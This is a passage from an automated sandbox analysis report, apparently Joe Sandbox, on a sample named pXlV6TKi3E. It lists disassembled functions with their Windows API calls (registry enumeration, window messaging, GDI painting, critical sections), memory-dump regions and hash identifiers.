                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CloseEnumH_prolog3_OpenQueryValue
                                              • String ID: Software\
                                              • API String ID: 1666054129-964853688
                                              • Opcode ID: ddada8039f122ea2369658af0ff3a0285acca740b231c253d32610d535deb551
                                              • Instruction ID: 543e6cfbaf3171021ea557fec06dc5e65cc440a85d27b7bddf90a063afb7b926
                                              • Opcode Fuzzy Hash: ddada8039f122ea2369658af0ff3a0285acca740b231c253d32610d535deb551
                                              • Instruction Fuzzy Hash: 9E41DB31800528ABCF21EB65CC41AEFB3B8EF49304F1042EAF645B2191DB789E91CF58
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040554C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86registryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_catch_GS.LIBCMT ref: 00405556
                                              • RegOpenKeyA.ADVAPI32(?,?,?), ref: 004055E4
                                              • RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00405607
                                                • Part of subcall function 004054A8: __EH_prolog3.LIBCMT ref: 004054AF
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: EnumH_prolog3H_prolog3_catch_Open
                                              • String ID: Software\Classes\
                                              • API String ID: 3518408925-1121929649
                                              • Opcode ID: 67b501be9e60115f2325f757bc7203ff778cdb5c5e1be4b65c730ddc124e30b0
                                              • Instruction ID: c0ebbc9a7c39ff48d56620518f51fe40535ea804bd4d8eb1fafbc9f36893117e
                                              • Opcode Fuzzy Hash: 67b501be9e60115f2325f757bc7203ff778cdb5c5e1be4b65c730ddc124e30b0
                                              • Instruction Fuzzy Hash: 86318075C00028ABDF21AB64CD11BEEB7B4EF08314F1441EAE99973292C6381F94DF59
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040D45C Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetCapture.USER32 ref: 0040D469
                                              • SendMessageA.USER32(?,00000365,00000000,00000000), ref: 0040D484
                                              • GetFocus.USER32 ref: 0040D499
                                              • SendMessageA.USER32(?,00000365,00000000,00000000), ref: 0040D4A7
                                              • GetLastActivePopup.USER32(?), ref: 0040D4D0
                                              • SendMessageA.USER32(?,00000365,00000000,00000000), ref: 0040D4DD
                                                • Part of subcall function 0040B74C: GetWindowLongA.USER32(?,000000F0), ref: 0040B772
                                                • Part of subcall function 0040B74C: GetParent.USER32(?), ref: 0040B780
                                              • SendMessageA.USER32(?,00000111,0000E147,00000000), ref: 0040D503
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: MessageSend$ActiveCaptureFocusLastLongParentPopupWindow
                                              • String ID:
                                              • API String ID: 3338174999-0
                                              • Opcode ID: 10f47e5d3940dba69213946467915b37855dfc3d1a3e94c85752be74472e295f
                                              • Instruction ID: 4d6935baf6c706e4c87a2b9dd6cc43df254e075152c35bf43d76233902db7409
                                              • Opcode Fuzzy Hash: 10f47e5d3940dba69213946467915b37855dfc3d1a3e94c85752be74472e295f
                                              • Instruction Fuzzy Hash: 14112EB0D00119FFDF116BE1DE85C6FBE79EB50348B2000BAF501B21A1E7799E049A68
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052715E Relevance: 10.6, APIs: 7, Instructions: 59COMMON
                                              Download Yara Rule
                                              APIs
                                              • GetObjectA.GDI32(00000018,00000000), ref: 00527189
                                              • BeginPaint.USER32(?,?), ref: 00527196
                                              • SelectObject.GDI32(?), ref: 005271B1
                                              • SelectObject.GDI32(?,?), ref: 005271DF
                                              • DeleteDC.GDI32(?), ref: 005271E8
                                              • EndPaint.USER32(?,?), ref: 005271F5
                                              • DefWindowProcA.USER32(?,0000000F,?,?), ref: 0052720B
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Object$PaintSelect$BeginDeleteProcWindow
                                              • String ID:
                                              • API String ID: 2000332916-0
                                              • Opcode ID: 733febfce487c78c9b6a30b9d64f231156fe9a8e65d9d228aa026dd2a22c166d
                                              • Instruction ID: be20ac9edc4cb8b5b3298430ce993b098026c0f7ad9a839aebebd5a4b9c4fa47
                                              • Opcode Fuzzy Hash: 733febfce487c78c9b6a30b9d64f231156fe9a8e65d9d228aa026dd2a22c166d
                                              • Instruction Fuzzy Hash: 8B116A7690020DFBDF029FA0DC09AEDBFB6FB19301F104424FA05B91A0D7719A6AAB50
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052B5B2 Relevance: 9.2, APIs: 6, Instructions: 187COMMON
                                              Download Yara Rule
                                              APIs
                                              • EnterCriticalSection.KERNEL32(-00000010), ref: 0052B5F8
                                              • SetFilePointer.KERNEL32(00000000,?,00000000,?,00000000), ref: 0052B655
                                              • SetLastError.KERNEL32(00000083,00000000), ref: 0052B6C0
                                              • SetLastError.KERNEL32(00000083,00000000), ref: 0052B71B
                                              • SetLastError.KERNEL32(00000083,00000000), ref: 0052B781
                                              • SetLastError.KERNEL32(00000057,00000000), ref: 0052B7AA
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ErrorLast$CriticalEnterFilePointerSection
                                              • String ID:
                                              • API String ID: 2201156697-0
                                              • Opcode ID: d2bc2a7b7eca0fb7128795fdd975a95d3982ccb1bdef569b9d9c4b74bd60f544
                                              • Instruction ID: b95cb30a673726b6a8f733eeb6f632ea098cee576d22942a5b8ef2943d9c1ffe
                                              • Opcode Fuzzy Hash: d2bc2a7b7eca0fb7128795fdd975a95d3982ccb1bdef569b9d9c4b74bd60f544
                                              • Instruction Fuzzy Hash: D281C274A04219DFDB04CF98E995AA9BBF1FF4A320F248559E816AB3D1C731AD41CF20
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052B14D Relevance: 9.2, APIs: 6, Instructions: 177COMMON
                                              Download Yara Rule
                                              APIs
                                              • EnterCriticalSection.KERNEL32(-00000010), ref: 0052B19C
                                              • SetLastError.KERNEL32(00000057,?), ref: 0052B209
                                              • SetLastError.KERNEL32(00000057,?), ref: 0052B236
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ErrorLast$CriticalEnterSection
                                              • String ID:
                                              • API String ID: 2242534287-0
                                              • Opcode ID: 4da63cd8242ee50e1b1f876e2b56608984a1996a6e863c3aa7c67e91639b6c74
                                              • Instruction ID: 8ceb80f84feb573205354cf964a89c4af8e294e858e5d4b5a7e298b1f2e5442e
                                              • Opcode Fuzzy Hash: 4da63cd8242ee50e1b1f876e2b56608984a1996a6e863c3aa7c67e91639b6c74
                                              • Instruction Fuzzy Hash: 90713071900228EFEF10DF98E889BEEBFB4FF1A315F104419E511A62A0C375A894DF61
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040D6CC Relevance: 9.0, APIs: 6, Instructions: 46COMMON
                                              Download Yara Rule
                                              APIs
                                              • ClientToScreen.USER32(?,?), ref: 0040D6DD
                                              • GetDlgCtrlID.USER32(00000000), ref: 0040D6F1
                                              • GetWindowLongA.USER32(00000000,000000F0), ref: 0040D701
                                              • GetWindowRect.USER32(00000000,?), ref: 0040D713
                                              • PtInRect.USER32(?,?,?), ref: 0040D723
                                              • GetWindow.USER32(?,00000005), ref: 0040D730
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Window$Rect$ClientCtrlLongScreen
                                              • String ID:
                                              • API String ID: 1315500227-0
                                              • Opcode ID: 72d9c546f18cd435f00c07593558b598624bbfef69d71adfa1dd2c723059e41a
                                              • Instruction ID: 3061d2134f3169e5d75f9ae7fa23723b65bf8a70254029833c91abdb822b7fa3
                                              • Opcode Fuzzy Hash: 72d9c546f18cd435f00c07593558b598624bbfef69d71adfa1dd2c723059e41a
                                              • Instruction Fuzzy Hash: 93016D32500129BBDB219FA49D08EAF3B6CEF55760F004532F915E71E0D7B8D9168B9D
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00535654 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98COMMON
                                              Download Yara Rule
                                              APIs
                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000104,00000000,00000000), ref: 005356BD
                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00535747
                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,0000000E,?,0000000E), ref: 00535762
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ByteCharMultiWide
                                              • String ID: FindFirstFileW$kernel32.dll
                                              • API String ID: 626452242-1347465774
                                              • Opcode ID: 28422d0bacb3adedb68bb28ff0c73427f037acfe5bc06fc224338763b59de280
                                              • Instruction ID: aa5edcc7c1c212e6e3b7a6c4f31fb4f2d7088b68862cb52ead3fad9066aa97f9
                                              • Opcode Fuzzy Hash: 28422d0bacb3adedb68bb28ff0c73427f037acfe5bc06fc224338763b59de280
                                              • Instruction Fuzzy Hash: 67315A72A44219BFEF10DB94DC46FEEBBB8FB08720F104255FA15A62C0D7B5AA44CB14
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00403520 Relevance: 7.7, APIs: 5, Instructions: 242memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_GS.LIBCMT ref: 0040352A
                                              • MapDialogRect.USER32(?,?), ref: 004035BB
                                              • SysAllocStringLen.OLEAUT32(?,?), ref: 004035DA
                                                • Part of subcall function 004016F8: _malloc.LIBCMT ref: 00401716
                                              • SetWindowPos.USER32(?,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,00000004,00000000,?,?,00000000,?,00000000), ref: 00403778
                                              • SysFreeString.OLEAUT32(00000000), ref: 004037CA
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: String$AllocDialogFreeH_prolog3_RectWindow_malloc
                                              • String ID:
                                              • API String ID: 2501999686-0
                                              • Opcode ID: 7e23cfb384b3bec5df5f64b6adf0671ec8073af5d8784d422213d0e415899a0f
                                              • Instruction ID: c0409ebb6666c03ab88ae50efe0e734f7445a957f59e1e170c03826ec921398d
                                              • Opcode Fuzzy Hash: 7e23cfb384b3bec5df5f64b6adf0671ec8073af5d8784d422213d0e415899a0f
                                              • Instruction Fuzzy Hash: ABA128B0D00219AFDB14DFA5C984AEDBBF4FF08304F10452AE819B7391D7799A84CB58
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00404141 Relevance: 7.6, APIs: 5, Instructions: 136COMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_catch.LIBCMT ref: 00404148
                                              • GlobalFix.KERNEL32(?), ref: 00404220
                                              • CreateDialogIndirectParamA.USER32(?,?,?,00403B7E,00000000), ref: 0040424F
                                              • GlobalUnWire.KERNEL32(?), ref: 004042D9
                                              • GlobalFree.KERNEL32(?), ref: 004042E2
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Global$CreateDialogFreeH_prolog3_catchIndirectParamWire
                                              • String ID:
                                              • API String ID: 3437439886-0
                                              • Opcode ID: 8196ee989498865a5ef9a219aec57dab85dc590d23e4ba00198d8e8ab0db2d37
